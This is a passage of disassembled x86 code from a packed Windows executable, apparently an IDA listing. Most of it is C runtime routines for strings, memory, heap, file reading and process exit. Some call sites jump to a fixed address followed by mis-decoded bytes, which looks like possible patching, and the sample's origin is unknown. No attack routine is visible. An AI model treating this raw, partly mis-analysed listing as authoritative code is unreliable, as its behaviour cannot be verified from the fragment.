call dword_4D1224 ; InternetCloseHandle
push [ebp+var_4]
call dword_4D1224 ; InternetCloseHandle
push [ebp+var_1D8]
call sub_40B32A
pop ecx
push ebx
call near ptr 0B40000h
db 26h
pop edi
pop esi
pop ebx
sub_41B65E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41B888 proc near ; CODE XREF: sub_40E7D2+185p
jmp dword_4271D8
sub_41B888 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B890 proc near ; CODE XREF: sub_401000+34p
; sub_401A09+6Bp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B8B0
loc_41B89C: ; CODE XREF: sub_41B890+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41B8E3
test ecx, 3
jnz short loc_41B89C
add eax, 0
loc_41B8B0: ; CODE XREF: sub_41B890+Aj
; sub_41B890+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B8B0
mov eax, [ecx-4]
test al, al
jz short loc_41B901
test ah, ah
jz short loc_41B8F7
test eax, 0FF0000h
jz short loc_41B8ED
test eax, 0FF000000h
jz short loc_41B8E3
jmp short loc_41B8B0
; ---------------------------------------------------------------------------
loc_41B8E3: ; CODE XREF: sub_41B890+11j
; sub_41B890+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B8ED: ; CODE XREF: sub_41B890+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B8F7: ; CODE XREF: sub_41B890+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B901: ; CODE XREF: sub_41B890+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41B890 endp
; =============== S U B R O U T I N E =======================================
sub_41B90B proc near ; CODE XREF: sub_4010C3+64p
; .nsp0:00407340p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41B920
or eax, 0FFFFFFFFh
jmp short loc_41B95A
; ---------------------------------------------------------------------------
loc_41B920: ; CODE XREF: sub_41B90B+Ej
test al, 83h
jz short loc_41B958
push esi
call sub_41E25B
push esi
mov edi, eax
call sub_41E1F5
push dword ptr [esi+10h]
call sub_41E142
add esp, 0Ch
test eax, eax
jge short loc_41B946
or edi, 0FFFFFFFFh
jmp short loc_41B958
; ---------------------------------------------------------------------------
loc_41B946: ; CODE XREF: sub_41B90B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41B958
push eax
call sub_41B961
and dword ptr [esi+1Ch], 0
pop ecx
loc_41B958: ; CODE XREF: sub_41B90B+17j
; sub_41B90B+39j ...
mov eax, edi
loc_41B95A: ; CODE XREF: sub_41B90B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41B90B endp
; =============== S U B R O U T I N E =======================================
sub_41B961 proc near ; CODE XREF: sub_4010C3+5Ep
; sub_40AA8C+B1p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_41B98E
push esi
call sub_41E3A7
pop ecx
test eax, eax
push esi
jz short loc_41B980
push eax
call sub_41E3D2
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B980: ; CODE XREF: sub_41B961+13j
push 0
push dword_4E2B80
call dword_427144 ; RtlFreeHeap
loc_41B98E: ; CODE XREF: sub_41B961+7j
pop esi
retn
sub_41B961 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B990 proc near ; CODE XREF: sub_4010C3+45p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41B9B4
xor eax, eax
jmp loc_41BA5D
; ---------------------------------------------------------------------------
loc_41B9B4: ; CODE XREF: sub_41B990+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41B9C7
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41B9D3
; ---------------------------------------------------------------------------
loc_41B9C7: ; CODE XREF: sub_41B990+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41B9D3
; ---------------------------------------------------------------------------
loc_41B9D0: ; CODE XREF: sub_41B990+C4j
mov ecx, [ebp+arg_0]
loc_41B9D3: ; CODE XREF: sub_41B990+35j
; sub_41B990+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41BA05
mov eax, [esi+4]
test eax, eax
jz short loc_41BA05
cmp ecx, eax
mov edi, ecx
jb short loc_41B9EA
mov edi, eax
loc_41B9EA: ; CODE XREF: sub_41B990+56j
push edi
push dword ptr [esi]
push ebx
call near ptr sub_41C9B0
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41BA50
; ---------------------------------------------------------------------------
loc_41BA05: ; CODE XREF: sub_41B990+49j
; sub_41B990+50j
cmp ecx, [ebp+arg_C]
jb short loc_41BA38
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41BA1B
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41BA1B: ; CODE XREF: sub_41B990+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41EF81
add esp, 0Ch
test eax, eax
jz short loc_41BA62
cmp eax, 0FFFFFFFFh
jz short loc_41BA68
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41BA50
; ---------------------------------------------------------------------------
loc_41BA38: ; CODE XREF: sub_41B990+78j
push esi
call sub_41EEA8
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41BA6C
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41BA50: ; CODE XREF: sub_41B990+73j
; sub_41B990+A6j
cmp [ebp+arg_0], 0
jnz loc_41B9D0
mov eax, [ebp+arg_8]
loc_41BA5D: ; CODE XREF: sub_41B990+1Fj
; sub_41B990+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BA62: ; CODE XREF: sub_41B990+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41BA6C
; ---------------------------------------------------------------------------
loc_41BA68: ; CODE XREF: sub_41B990+9Fj
or dword ptr [esi+0Ch], 20h
loc_41BA6C: ; CODE XREF: sub_41B990+B2j
; sub_41B990+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41BA5D
sub_41B990 endp
; =============== S U B R O U T I N E =======================================
sub_41BA78 proc near ; CODE XREF: sub_4010C3+2Ep
; sub_41D673+35p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push ebp
push esi
test ebx, ebx
push edi
jnz short loc_41BA93
push [esp+10h+arg_4]
call sub_41BBCB
pop ecx
jmp loc_41BB93
; ---------------------------------------------------------------------------
loc_41BA93: ; CODE XREF: sub_41BA78+Aj
mov esi, [esp+10h+arg_4]
test esi, esi
jnz short loc_41BAA9
push ebx
call sub_41B961
pop ecx
loc_41BAA2: ; CODE XREF: sub_41BA78+114j
xor eax, eax
jmp loc_41BB93
; ---------------------------------------------------------------------------
loc_41BAA9: ; CODE XREF: sub_41BA78+21j
; sub_41BA78+10Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BB74
push ebx
call sub_41E3A7
mov ebp, eax
pop ecx
test ebp, ebp
jz loc_41BB51
cmp esi, dword_44255C
ja short loc_41BB11
push esi
push ebx
push ebp
call sub_41EBB2
add esp, 0Ch
test eax, eax
jz short loc_41BAE0
mov edi, ebx
jmp short loc_41BB09
; ---------------------------------------------------------------------------
loc_41BAE0: ; CODE XREF: sub_41BA78+62j
push esi
call sub_41E6FD
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BB11
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BAF7
mov eax, esi
loc_41BAF7: ; CODE XREF: sub_41BA78+7Bj
push eax
push ebx
push edi
call near ptr sub_41C9B0
push ebx
push ebp
call sub_41E3D2
add esp, 14h
loc_41BB09: ; CODE XREF: sub_41BA78+66j
test edi, edi
jnz loc_41BB91
loc_41BB11: ; CODE XREF: sub_41BA78+53j
; sub_41BA78+73j
test esi, esi
jnz short loc_41BB18
push 1
pop esi
loc_41BB18: ; CODE XREF: sub_41BA78+9Bj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4E2B80
call dword_427148 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BB74
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BB3D
mov eax, esi
loc_41BB3D: ; CODE XREF: sub_41BA78+C1j
push eax
push ebx
push edi
call near ptr sub_41C9B0
push ebx
push ebp
call sub_41E3D2
add esp, 14h
jmp short loc_41BB70
; ---------------------------------------------------------------------------
loc_41BB51: ; CODE XREF: sub_41BA78+47j
test esi, esi
jnz short loc_41BB58
push 1
pop esi
loc_41BB58: ; CODE XREF: sub_41BA78+DBj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push ebx
push 0
push dword_4E2B80
call dword_42719C ; RtlReAllocateHeap
mov edi, eax
loc_41BB70: ; CODE XREF: sub_41BA78+D7j
test edi, edi
jnz short loc_41BB91
loc_41BB74: ; CODE XREF: sub_41BA78+36j
; sub_41BA78+B9j
cmp dword_4E1578, 0
jz short loc_41BB91
push esi
call sub_41F177
test eax, eax
pop ecx
jnz loc_41BAA9
jmp loc_41BAA2
; ---------------------------------------------------------------------------
loc_41BB91: ; CODE XREF: sub_41BA78+93j
; sub_41BA78+FAj ...
mov eax, edi
loc_41BB93: ; CODE XREF: sub_41BA78+16j
; sub_41BA78+2Cj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41BA78 endp
; =============== S U B R O U T I N E =======================================
sub_41BB98 proc near ; CODE XREF: sub_41BBB8+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41F302
test eax, eax
jnz short loc_41BBA2
retn
; ---------------------------------------------------------------------------
loc_41BBA2: ; CODE XREF: sub_41BB98+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41F192
add esp, 10h
retn
sub_41BB98 endp
; =============== S U B R O U T I N E =======================================
sub_41BBB8 proc near ; CODE XREF: sub_4010C3+18p
; .nsp0:00407314p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BB98
add esp, 0Ch
retn
sub_41BBB8 endp
; =============== S U B R O U T I N E =======================================
sub_41BBCB proc near ; CODE XREF: sub_4010C3+6p
; sub_40AA8C+63p ...
arg_0 = dword ptr 4
push dword_4E1578
push [esp+4+arg_0]
call sub_41BBDD
pop ecx
pop ecx
retn
sub_41BBCB endp
; =============== S U B R O U T I N E =======================================
sub_41BBDD proc near ; CODE XREF: sub_41BBCB+Ap
; sub_41D665+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41BC06
loc_41BBE4: ; CODE XREF: sub_41BBDD+27j
push [esp+arg_0]
call sub_41BC09
test eax, eax
pop ecx
jnz short locret_41BC08
cmp [esp+arg_4], eax
jz short locret_41BC08
push [esp+arg_0]
call sub_41F177
test eax, eax
pop ecx
jnz short loc_41BBE4
loc_41BC06: ; CODE XREF: sub_41BBDD+5j
xor eax, eax
locret_41BC08: ; CODE XREF: sub_41BBDD+13j
; sub_41BBDD+19j
retn
sub_41BBDD endp
; =============== S U B R O U T I N E =======================================
sub_41BC09 proc near ; CODE XREF: sub_41BBDD+Bp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, dword_44255C
ja short loc_41BC21
push esi
call sub_41E6FD
test eax, eax
pop ecx
jnz short loc_41BC3D
loc_41BC21: ; CODE XREF: sub_41BC09+Bj
test esi, esi
jnz short loc_41BC28
push 1
pop esi
loc_41BC28: ; CODE XREF: sub_41BC09+1Aj
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4E2B80
call dword_427148 ; RtlAllocateHeap
loc_41BC3D: ; CODE XREF: sub_41BC09+16j
pop esi
retn
sub_41BC09 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BC40 proc near ; CODE XREF: sub_401135+3Cp
; sub_401135+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41BC93
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41BC87
neg ecx
and ecx, 3
jz short loc_41BC69
sub edx, ecx
loc_41BC63: ; CODE XREF: sub_41BC40+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41BC63
loc_41BC69: ; CODE XREF: sub_41BC40+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41BC87
rep stosd
test edx, edx
jz short loc_41BC8D
loc_41BC87: ; CODE XREF: sub_41BC40+18j
; sub_41BC40+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41BC87
loc_41BC8D: ; CODE XREF: sub_41BC40+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BC93: ; CODE XREF: sub_41BC40+Aj
mov eax, [esp+arg_0]
retn
sub_41BC40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BCA0 proc near ; CODE XREF: sub_4018A1+98p
; .nsp0:00401BC4p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41BD23
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41BCC4
shr ecx, 2
jnz short loc_41BD31
jmp short loc_41BCE5
; ---------------------------------------------------------------------------
loc_41BCC4: ; CODE XREF: sub_41BCA0+1Bj
; sub_41BCA0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41BCF2
test al, al
jz short loc_41BCFA
test esi, 3
jnz short loc_41BCC4
mov ebx, ecx
shr ecx, 2
jnz short loc_41BD31
loc_41BCE0: ; CODE XREF: sub_41BCA0+8Fj
and ebx, 3
jz short loc_41BCF2
loc_41BCE5: ; CODE XREF: sub_41BCA0+22j
; sub_41BCA0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41BD1E
dec ebx
jnz short loc_41BCE5
loc_41BCF2: ; CODE XREF: sub_41BCA0+2Bj
; sub_41BCA0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BCFA: ; CODE XREF: sub_41BCA0+2Fj
test edi, 3
jz short loc_41BD14
loc_41BD02: ; CODE XREF: sub_41BCA0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41BD96
test edi, 3
jnz short loc_41BD02
loc_41BD14: ; CODE XREF: sub_41BCA0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41BD87
loc_41BD1B: ; CODE XREF: sub_41BCA0+7Fj
; sub_41BCA0+F4j
mov [edi], al
inc edi
loc_41BD1E: ; CODE XREF: sub_41BCA0+4Dj
dec ebx
jnz short loc_41BD1B
pop ebx
pop esi
loc_41BD23: ; CODE XREF: sub_41BCA0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BD29: ; CODE XREF: sub_41BCA0+A9j
; sub_41BCA0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41BCE0
loc_41BD31: ; CODE XREF: sub_41BCA0+20j
; sub_41BCA0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41BD29
test dl, dl
jz short loc_41BD7B
test dh, dh
jz short loc_41BD71
test edx, 0FF0000h
jz short loc_41BD67
test edx, 0FF000000h
jnz short loc_41BD29
mov [edi], edx
jmp short loc_41BD7F
; ---------------------------------------------------------------------------
loc_41BD67: ; CODE XREF: sub_41BCA0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41BD7F
; ---------------------------------------------------------------------------
loc_41BD71: ; CODE XREF: sub_41BCA0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41BD7F
; ---------------------------------------------------------------------------
loc_41BD7B: ; CODE XREF: sub_41BCA0+ADj
xor edx, edx
mov [edi], edx
loc_41BD7F: ; CODE XREF: sub_41BCA0+C5j
; sub_41BCA0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41BD91
loc_41BD87: ; CODE XREF: sub_41BCA0+79j
xor eax, eax
loc_41BD89: ; CODE XREF: sub_41BCA0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41BD89
loc_41BD91: ; CODE XREF: sub_41BCA0+E5j
and ebx, 3
jnz short loc_41BD1B
loc_41BD96: ; CODE XREF: sub_41BCA0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41BCA0 endp
; =============== S U B R O U T I N E =======================================
sub_41BD9E proc near ; CODE XREF: sub_41BE29+4p
; sub_42464C+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41BDA6: ; CODE XREF: sub_41BD9E+34j
cmp dword_44276C, 1
jle short loc_41BDBE
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41F37A
pop ecx
pop ecx
jmp short loc_41BDCD
; ---------------------------------------------------------------------------
loc_41BDBE: ; CODE XREF: sub_41BD9E+Fj
movzx eax, byte ptr [edi]
mov ecx, off_442560
mov al, [ecx+eax*2]
and eax, 8
loc_41BDCD: ; CODE XREF: sub_41BD9E+1Ej
test eax, eax
jz short loc_41BDD4
inc edi
jmp short loc_41BDA6
; ---------------------------------------------------------------------------
loc_41BDD4: ; CODE XREF: sub_41BD9E+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41BDE4
cmp esi, 2Bh
jnz short loc_41BDE8
loc_41BDE4: ; CODE XREF: sub_41BD9E+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41BDE8: ; CODE XREF: sub_41BD9E+44j
xor ebx, ebx
loc_41BDEA: ; CODE XREF: sub_41BD9E+7Bj
cmp dword_44276C, 1
jle short loc_41BDFF
push 4
push esi
call sub_41F37A
pop ecx
pop ecx
jmp short loc_41BE0A
; ---------------------------------------------------------------------------
loc_41BDFF: ; CODE XREF: sub_41BD9E+53j
mov eax, off_442560
mov al, [eax+esi*2]
and eax, 4
loc_41BE0A: ; CODE XREF: sub_41BD9E+5Fj
test eax, eax
jz short loc_41BE1B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41BDEA
; ---------------------------------------------------------------------------
loc_41BE1B: ; CODE XREF: sub_41BD9E+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41BE24
neg eax
loc_41BE24: ; CODE XREF: sub_41BD9E+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41BD9E endp
; =============== S U B R O U T I N E =======================================
sub_41BE29 proc near ; CODE XREF: .nsp0:00402238p
; .nsp0:00402495p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BD9E
pop ecx
retn
sub_41BE29 endp
; =============== S U B R O U T I N E =======================================
sub_41BE34 proc near
mov eax, off_44252C
test eax, eax
jz short loc_41BE3F
call eax ; sub_41CDE8
loc_41BE3F: ; CODE XREF: sub_41BE34+7j
push offset dword_429034
push offset dword_429020
call sub_41BF1C
push offset dword_42901C
push offset dword_429000
call sub_41BF1C
add esp, 10h
retn
sub_41BE34 endp
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_41BE83
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_41BE72 proc near ; CODE XREF: sub_41E0F9+1Cp
; sub_4223CC+2266p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41BE83
add esp, 0Ch
retn
sub_41BE72 endp
; =============== S U B R O U T I N E =======================================
sub_41BE83 proc near ; CODE XREF: .nsp0:0041BE69p
; sub_41BE72+8p
arg_0 = dword ptr 4
arg_1C = dword ptr 20h
arg_24 = dword ptr 28h
push edi
push 1
pop edi
cmp dword_4E1540, edi
jnz short near ptr loc_41BE9F+1
push [esp+4+arg_0]
call near ptr 0B40000h
sub [eax-18h], edx
popa
inc ecx
jb short $+2
loc_41BE9F: ; CODE XREF: sub_41BE83+Aj
add [ebx+0C247Ch], eax
push ebx
mov ebx, [esp-14h+arg_24]
mov dword_4E153C, edi
mov byte_4E1538, bl
jnz short loc_41BEF4
mov eax, dword_4E2B94
test eax, eax
jz short loc_41BEE3
mov ecx, dword_4E2B90
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41BEE2
loc_41BECF: ; CODE XREF: sub_41BE83+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41BED7
call eax
loc_41BED7: ; CODE XREF: sub_41BE83+50j
sub esi, 4
cmp esi, dword_4E2B94
jnb short loc_41BECF
loc_41BEE2: ; CODE XREF: sub_41BE83+4Aj
pop esi
loc_41BEE3: ; CODE XREF: sub_41BE83+3Cj
push offset dword_429040
push offset dword_429038
call sub_41BF1C
pop ecx
pop ecx
loc_41BEF4: ; CODE XREF: sub_41BE83+33j
push offset dword_42904C
push offset dword_429044
call sub_41BF1C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41BF1A
push [esp-18h+arg_1C]
mov dword_4E1540, edi
call dword_427068 ; ExitProcess
loc_41BF1A: ; CODE XREF: sub_41BE83+85j
pop edi
retn
sub_41BE83 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41BF1C proc near ; CODE XREF: sub_41BE34+15p
; sub_41BE34+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41BF21: ; CODE XREF: sub_41BF1C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41BF34
mov eax, [esi]
test eax, eax
jz short loc_41BF2F
call eax
loc_41BF2F: ; CODE XREF: sub_41BF1C+Fj
add esi, 4
jmp short loc_41BF21
; ---------------------------------------------------------------------------
loc_41BF34: ; CODE XREF: sub_41BF1C+9j
pop esi
retn
sub_41BF1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BF36 proc near ; CODE XREF: sub_401A09+5Bp
; .nsp0:00401EA5p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41F504
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41BF76
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41BF83
; ---------------------------------------------------------------------------
loc_41BF76: ; CODE XREF: sub_41BF36+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F3EF
pop ecx
pop ecx
loc_41BF83: ; CODE XREF: sub_41BF36+3Ej
mov eax, esi
pop esi
leave
retn
sub_41BF36 endp
; =============== S U B R O U T I N E =======================================
sub_41BF88 proc near ; CODE XREF: .nsp0:0040129Ap
; .nsp0:00404CB2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_442510, eax
retn
sub_41BF88 endp
; =============== S U B R O U T I N E =======================================
sub_41BF92 proc near ; CODE XREF: .nsp0:loc_4028A7p
; .nsp0:00404FCBp ...
mov eax, dword_442510
imul eax, 343FDh
add eax, 269EC3h
mov dword_442510, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41BF92 endp
; =============== S U B R O U T I N E =======================================
sub_41BFB0 proc near ; CODE XREF: .nsp0:00401C00p
; .nsp0:00401DBAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41C02A
mov dh, [ecx+1]
test dh, dh
jz short loc_41C017
loc_41BFC8: ; CODE XREF: sub_41BFB0+52j
; sub_41BFB0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41BFEA
test al, al
jz short loc_41BFE4
loc_41BFD9: ; CODE XREF: sub_41BFB0+32j
mov al, [esi]
inc esi
loc_41BFDC: ; CODE XREF: sub_41BFB0+3Fj
cmp al, dl
jz short loc_41BFEA
test al, al
jnz short loc_41BFD9
loc_41BFE4: ; CODE XREF: sub_41BFB0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41BFEA: ; CODE XREF: sub_41BFB0+23j
; sub_41BFB0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41BFDC
lea edi, [esi-1]
loc_41BFF4: ; CODE XREF: sub_41BFB0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41C023
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41BFC8
mov al, [ecx+3]
test al, al
jz short loc_41C023
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41BFF4
jmp short loc_41BFC8
; ---------------------------------------------------------------------------
loc_41C017: ; CODE XREF: sub_41BFB0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41C656
; ---------------------------------------------------------------------------
loc_41C023: ; CODE XREF: sub_41BFB0+49j
; sub_41BFB0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C02A: ; CODE XREF: sub_41BFB0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41BFB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C030 proc near ; CODE XREF: .nsp0:00403743p
; .nsp0:00403774p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41F504
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C06F
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C07C
; ---------------------------------------------------------------------------
loc_41C06F: ; CODE XREF: sub_41C030+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F3EF
pop ecx
pop ecx
loc_41C07C: ; CODE XREF: sub_41C030+3Dj
mov eax, esi
pop esi
leave
retn
sub_41C030 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C081 proc near ; CODE XREF: .nsp0:00403C9Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41B890
cmp eax, 1
pop ecx
jb short loc_41C0BC
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41C0BC
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41C0B8
push 2
push ebx
push esi
call sub_4200EE
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41C0B8: ; CODE XREF: sub_41C081+25j
inc ebx
inc ebx
jmp short loc_41C0C6
; ---------------------------------------------------------------------------
loc_41C0BC: ; CODE XREF: sub_41C081+18j
; sub_41C081+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C0C6
and byte ptr [eax], 0
loc_41C0C6: ; CODE XREF: sub_41C081+39j
; sub_41C081+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
